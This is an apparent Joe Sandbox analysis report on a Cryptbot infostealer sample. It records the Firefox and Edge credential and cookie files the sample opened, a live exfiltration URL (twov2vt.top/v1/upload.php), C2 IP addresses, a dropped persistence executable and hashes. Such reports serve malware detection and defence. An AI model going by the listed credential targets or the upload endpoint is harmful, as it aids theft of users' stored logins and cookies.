Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7488, type: MEMORYSTR

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 7488, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	2 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Native API	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	3 Clipboard Data	112 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Set-up.exe	42%	ReversingLabs	Win32.Trojan.CryptBot

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
analforeverlovyu.top	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://update-ledger.net/update	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
+twov2vt.top	0%	Avira URL Cloud	safe
https://gcc.gnu.org/bugs/):	0%	Avira URL Cloud	safe
http://twov2vt.top/v1/upload.php	0%	Avira URL Cloud	safe
twov2vt.top	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
twov2vt.top	195.133.48.136	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
twov2vt.top	true	Avira URL Cloud: safe	unknown
analforeverlovyu.top	true	URL Reputation: safe	unknown
+twov2vt.top	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gcc.gnu.org/bugs/):	QebpVzajWJMNuiTsbyMN.dll.1.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://update-ledger.net/update	Set-up.exe	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://twov2vt.top/v1/upload.php	Set-up.exe, 00000001.00000003.1419945207.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Set-up.exe, 00000001.00000003.1456597209.0000000003194000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
195.133.48.136	twov2vt.top	Russian Federation		48347	MTW-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1503435
Start date and time:	2024-09-03 15:13:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Set-up.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/2@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe, UsoClient.exe
Excluded IPs from analysis (whitelisted): 72.247.153.178, 72.247.153.162
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
Execution Graph export aborted for target Set-up.exe, PID 7488 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Set-up.exe

Simulations

Behavior and APIs

Time	Type	Description
09:14:05	API Interceptor	3x Sleep call for process: Set-up.exe modified
09:15:27	API Interceptor	712x Sleep call for process: service123.exe modified
14:14:55	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
195.133.48.136	PQ2AUndsdb.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	fivexx5vs.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	twoxc2vs.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	twoxc2vs.top/v1/upload.php
	Setup.exe	Get hash	malicious	Cryptbot	Browse	tenxc10pt.top/v1/upload.php
	Setup.exe	Get hash	malicious	Cryptbot	Browse	tenxc10pt.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	fivexx5ht.top/v1/upload.php
	surp.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, Stealc, Vidar	Browse	fivexx5ht.top/v1/upload.php
	Setup.exe	Get hash	malicious	Cryptbot	Browse	levxc11vt.top/v1/upload.php
	Setup.exe	Get hash	malicious	Cryptbot	Browse	levxc11vt.top/v1/upload.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	fivexc5pn.top/v1/upload.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MTW-ASRU	SecuriteInfo.com.Win32.TrojanX-gen.12944.32631.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	195.133.48.136
	https://t.co/Tmh47fiTWd	Get hash	malicious	Unknown	Browse	93.95.97.29
	PQ2AUndsdb.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	195.133.48.136
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	195.133.48.136
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	195.133.48.136
	Setup.exe	Get hash	malicious	Cryptbot	Browse	195.133.48.136
	Setup.exe	Get hash	malicious	Cryptbot	Browse	195.133.48.136
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	195.133.48.136
	surp.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, Stealc, Vidar	Browse	195.133.48.136
	http://www.goo.su/JpY9S/	Get hash	malicious	Unknown	Browse	93.95.102.105

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315835392
Entropy (8bit):	0.05575080078946029
Encrypted:	false
SSDEEP:	24576:eTEpAuFQDK4j2jWSibsrm+eZJlMmI/FX6Ls6DC1C84OA:eTExvibsruAmI/FKLs/
MD5:	7025804CC152ADD9E51A014B948CBD21
SHA1:	996018AA52AE96F64926590A94264643961C470E
SHA-256:	3BD7940663399F79FF6B5A2685D4F2AFDF3F97D1AAC76D729C1FBDA3A8E8F914
SHA-512:	662D290218611CA6CEA496C733D04F1F0EA66869EA1D32CB28F7CCE4E38E448A69E814E9FABEE1134657CCBDFB3AECB2669878AC97A117EE26032A6B8DF84109
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........#...#.H...@...............`....Hh......................................@... .........................`....................................0..........................................................t............................text...LF.......H..................`.P`.data........`.......L..............@.`..rdata..@............b..............@.`@.eh_fram.....P.......&..............@.0@.bss....t.............................`..edata..`...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls......... ......................@.0..reloc.......0......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314613760
Entropy (8bit):	0.0021535533000963834
Encrypted:	false
SSDEEP:
MD5:	5F9451036F4A31D47EA2ECDD9805E040
SHA1:	D0E376956D7EDAA46B7A24CB391C5265F64DD103
SHA-256:	B59168F5F3E22ACB6B0E6305C189576BA7B2D275D6CB12847C9366FA2E3C545D
SHA-512:	3C688E061D085DB79EB4E14C45B3D821E56BED3BCBA12DA6B43EBFE853EBF509B24EABEC41124D5AD3503CC9842F73E001E86708C4E36F110AD9877A8EB87BE5
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............#.v........................@.......................................@... .................................................................h...................................................X................................text....u.......v..................`.P`.data...X............z..............@.0..rdata..X............\|..............@.`@.eh_fram............................@.0@.bss..................................`..idata..............................@.0..CRT....4...........................@.0..tls................................@.0..reloc..h...........................@.0B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.6301667417684875
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	6'616'665 bytes
MD5:	f6f95571dba7580401d6d48e3d2e4a5b
SHA1:	819ff2a13f2807b1b225dc3353d7783c010c0266
SHA256:	156f6dd75320e7bcabab6af745b64efe9411f665271c81d7eba67bc04bfaa9bd
SHA512:	e4dfbb7d841d3adfe41dca95c97f62c5052952d0342c9a6d410f5dd3f681818dd7d8455ebd469c82b2a3abba42a344147f18a6ccea53884d45dae2a9c227785e
SSDEEP:	49152:kS68XosrSxzpNEKvZS4blk4utCygRnXAAcCtdqP0eYfaCIWJB4Kt6VYrisPaVlU1:l9SHa4blIUdRN7yNEdp7V5WvAkm
TLSH:	BB66183A9A4355C8C13FA57ADC937F3FF4286AD843A9491BAC0508FCA755391E8AD313
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..^.7%.........#..G.. Z...f...........G...@..........................P........e....... .........................B..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4014b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x66D69F00 [Tue Sep 3 05:30:40 2024 UTC]
TLS Callbacks:	0x86d6a0, 0x86d650
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	92a00f4d0a4448266e9c638fdb1341b9

Entrypoint Preview

Instruction
mov dword ptr [00F2E6ACh], 00000001h
jmp 00007F926CB0B576h
nop
mov dword ptr [00F2E6ACh], 00000000h
jmp 00007F926CB0B566h
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F926CF850EEh
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 0087E000h
call dword ptr [00F311F0h]
sub esp, 04h
test eax, eax
je 00007F926CB0B935h
mov ebx, eax
mov dword ptr [esp], 0087E000h
call dword ptr [00F31210h]
mov edi, dword ptr [00F311F8h]
sub esp, 04h
mov dword ptr [008C1028h], eax
mov dword ptr [esp+04h], 0087E013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 0087E029h
mov dword ptr [esp], ebx
call edi
mov dword ptr [0087C004h], eax
sub esp, 08h
test esi, esi
je 00007F926CB0B8D3h
mov dword ptr [esp+04h], 008C102Ch
mov dword ptr [esp], 00888000h
call esi
mov dword ptr [esp], 004015A0h
call 00007F926CB0B823h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb30000	0x42	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb31000	0x9e4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb34000	0xe21ec	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x486b94	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb311e0	0x190	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x47ab84	0x47ac00	c5aabe6a37ae576377e02b14b06916d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x47c000	0x1528	0x1600	025e7dff77a4c3ebca06f29a3239e72a	False	0.6052911931818182	dBase III DBT, version number 0, next free block index 10, 1st item "\264\307@"	5.623014617365603	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x47e000	0x9db8	0x9e00	8bdb14644f5162a0ec865f3266afa7a7	False	0.3778926028481013	data	4.392731868222294	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
/4	0x488000	0x38c30	0x38e00	8926bb9d3ce62b79db2aaff314ad42e1	False	0.24520089285714286	data	5.0880059380327785	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x4c1000	0x66e1b4	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb30000	0x42	0x200	f837296183fee715849227e09b510b8d	False	0.119140625	data	0.6224141951479871	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0xb31000	0x9e4	0xa00	936013f03c6a831737390e9e43c3aaf7	False	0.4296875	data	5.104216554048779	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xb32000	0x34	0x200	aa3da3aa0b3f1cee9371a66afb5d8276	False	0.0703125	Matlab v4 mat-file (little endian) 0\326\206, numeric, rows 4198704, columns 0	0.27502052800628285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xb33000	0x8	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xb34000	0xe21ec	0xe2200	1338c146d849914476a67bf1ac08059c	False	0.04476532269209508	data	6.841280104268188	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/14	0xc17000	0x690	0x800	b31ba2598231133956a6f2e8184b7942	False	0.2666015625	Matlab v4 mat-file (little endian) \355\004, rows 2, columns 262144	2.1676706987920165	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/29	0xc18000	0x1a7c4	0x1a800	a8989922ba1711d72c8b66c0bdf99ff2	False	0.42386497641509435	data	6.074243231196206	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/41	0xc33000	0x4c58	0x4e00	c272f07e704eb90e2b6c4c9bad844e11	False	0.1761318108974359	data	4.711442500030027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/55	0xc38000	0xe342	0xe400	f5f3952ee29930a0d35ee375b2a5e533	False	0.47647683662280704	data	5.285904658984095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/67	0xc47000	0x1d54	0x1e00	e22a721063d4b3af9fba9033fc511668	False	0.334375	data	4.88397386492299	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
